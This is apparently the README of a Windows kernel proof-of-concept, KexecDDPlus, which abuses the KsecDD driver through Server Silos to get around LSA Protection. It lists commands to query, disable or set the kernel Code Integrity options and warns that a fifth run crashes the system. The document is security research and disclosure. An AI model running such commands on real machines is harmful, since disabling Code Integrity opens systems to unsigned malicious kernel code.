KexecDDPlus

This proof-of-concept is the result of a research project that aimed at extending the work of @floesen_ on the KsecDD Windows driver.

It relies on Server Silos to access the KsecDD driver directly, without having to inject code into LSASS. This capability therefore allows it to operate even on systems on which LSA Protection is enabled.

For more information, please check out our blog post Exploiting KsecDD through Server Silos, and the links in the Credits section.

Tested on:

Disclaimer

[!CAUTION] This PoC can only be executed 4 times, before crashing the kernel!

Due to the way the IOCTL IOCTL_KSEC_IPC_SET_FUNCTION_RETURN is handled by the KsecDD driver, this PoC can only be used 4 times. At the 5th execution, the driver will attempt to free the user-supplied buffer as if it were allocated in a kernel pool. This operation is invalid, and therefore will cause a Bug Check, a.k.a. a Blue Screen. To run the exploit again, without crashing the kernel, a machine reboot will be required.

Usage

C:\Temp>KexecDDPlus.exe

 Usage:
     KexecDDPlus.exe <CMD> [<ARGS>]

 Query the CI options value:
     KexecDDPlus.exe queryci
 Set the CI options value to 0:
     KexecDDPlus.exe disableci
 Set the CI options value:
     KexecDDPlus.exe setci <VALUE>

Query the CI options value

C:\Temp>KexecDDPlus.exe queryci
